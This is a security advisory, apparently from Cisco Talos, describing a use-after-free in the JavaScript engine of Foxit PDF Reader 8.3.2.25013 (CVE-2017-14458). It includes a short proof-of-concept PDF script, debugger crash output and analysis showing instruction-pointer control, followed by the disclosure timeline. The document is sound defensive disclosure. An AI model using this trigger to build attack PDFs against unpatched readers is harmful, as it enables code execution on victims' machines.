CVE-2017-14458
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 8.3.2.25013. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 8.3.2.25013.
https://www.foxitsoftware.com/products/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in this.search.query()
method, which triggers a use-after-free condition when the following code is executed in a regular PDF document:
7 0 obj
<<
>>
stream
this.closeDoc();
this.search.query( );
endstream
endobj
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(498.14fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for FoxitReader_Lib_Full.exe -
eax=00000000 ebx=21152ff8 ecx=107f0de8 edx=00000000 esi=1b630ff8 edi=037def5c
eip=01562a78 esp=037ded5c ebp=037dedb0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c58:
01562a78 8b11 mov edx,dword ptr [ecx] ds:002b:107f0de8=????????
0:000> !heap -p -a ecx
address 107f0de8 found in
_DPH_HEAP_ROOT @ d4f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
107414e0: 107f0000 2000
6bf4ab22 verifier!AVrfDebugPageHeapFree+0x000000c2
77c158e8 ntdll!RtlDebugFreeHeap+0x0000003c
77bc5bed ntdll!RtlpFreeHeap+0x0005616d
77b6fa0d ntdll!RtlFreeHeap+0x000007cd
0075bd5b FoxitReader_Lib_Full+0x005cbd5b
002bb657 FoxitReader_Lib_Full+0x0012b657
002be4d5 FoxitReader_Lib_Full+0x0012e4d5
0046596c FoxitReader_Lib_Full+0x002d596c
0046568f FoxitReader_Lib_Full+0x002d568f
0047d114 FoxitReader_Lib_Full+0x002ed114
005ca8e6 FoxitReader_Lib_Full+0x0043a8e6
0045c7ad FoxitReader_Lib_Full+0x002cc7ad
0045c4bf FoxitReader_Lib_Full+0x002cc4bf
005c043e FoxitReader_Lib_Full+0x0043043e
005ba7f6 FoxitReader_Lib_Full+0x0042a7f6
005be7b7 FoxitReader_Lib_Full+0x0042e7b7
005be846 FoxitReader_Lib_Full+0x0042e846
751ee0bb USER32!_InternalCallWinProc+0x0000002b
751f8849 USER32!InternalCallWinProc+0x00000020
751fb145 USER32!UserCallWinProcCheckWow+0x000001be
751e8503 USER32!DispatchClientMessage+0x000001b3
751e8aa0 USER32!__fnDWORD+0x00000050
77ba0bad ntdll!KiUserCallbackDispatcher+0x0000004d
751db95b USER32!SendMessageW+0x0000005b
00459022 FoxitReader_Lib_Full+0x002c9022
005c0667 FoxitReader_Lib_Full+0x00430667
005ba7f6 FoxitReader_Lib_Full+0x0042a7f6
005be7b7 FoxitReader_Lib_Full+0x0042e7b7
005be846 FoxitReader_Lib_Full+0x0042e846
751ee0bb USER32!_InternalCallWinProc+0x0000002b
751f8849 USER32!InternalCallWinProc+0x00000020
751fb145 USER32!UserCallWinProcCheckWow+0x000001be
Analyzing the heap state clearly shows that ecx
points into a freed memory region. If we examine the next few instructions we can see the following:
0:000> u
FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c58:
01562a78 8b11 mov edx,dword ptr [ecx]
01562a7a 8b4d0c mov ecx,dword ptr [ebp+0Ch]
01562a7d 8b8254020000 mov eax,dword ptr [edx+254h]
01562a83 ffd0 call eax
We can observe from the above listing that twice-dereferenced address from ecx
, through edx+0x254
ends up in eax
which is then used as argument to call
instruction. This makes this vulnerability easy to exploit, since we can control the contents of ecx
.
With a bit of memory layout control, and with PageHeap off, we can get full EIP control:
(2ac4.25e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for FoxitReader_Lib_Full.exe -
eax=41414141 ebx=0c6d5a60 ecx=0c665a20 edx=0c6b3948 esi=0c6d5950 edi=044ff464
eip=41414141 esp=044ff260 ebp=044ff2b8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
03aff0fc 01562a85 0x41414141
03aff158 01668d7f FoxitReader_Lib_Full!CryptUIWizExport+0x5b0c65
03aff200 01668632 FoxitReader_Lib_Full!CryptUIWizExport+0x6b6f5f
03aff2b4 005a1a57 FoxitReader_Lib_Full!CryptUIWizExport+0x6b6812
03aff2ec 01425a6e FoxitReader_Lib_Full+0x411a57
03aff320 0141d876 FoxitReader_Lib_Full!CryptUIWizExport+0x473c4e
03aff388 0141fc23 FoxitReader_Lib_Full!CryptUIWizExport+0x46ba56
03aff398 1640a0d6 FoxitReader_Lib_Full!CryptUIWizExport+0x46de03
03aff3b8 16444b63 0x1640a0d6
Closing the document via JavaScript frees objects, but JavaScript continues to execute, and some stale references can cause a use after free, which is what happens in this case. Since the memory pointed at by ecx
is freed, a careful heap manipulation can put it under attacker control, indirectly giving the control over eax
, leading to arbitrary code execution.
2017-12-12 - Vendor Disclosure
2017-12-12 - Discussion with vendor on issues
2018-01-29 - Vendor advised issue fixed in code scheduled for next release early April
2018-04-01 - Vendor pushed release to mid April
2018-04-19 - Vendor patch released
2018-04-19 - Public disclosure
Discovered by Aleksandar Nikolic of Cisco Talos.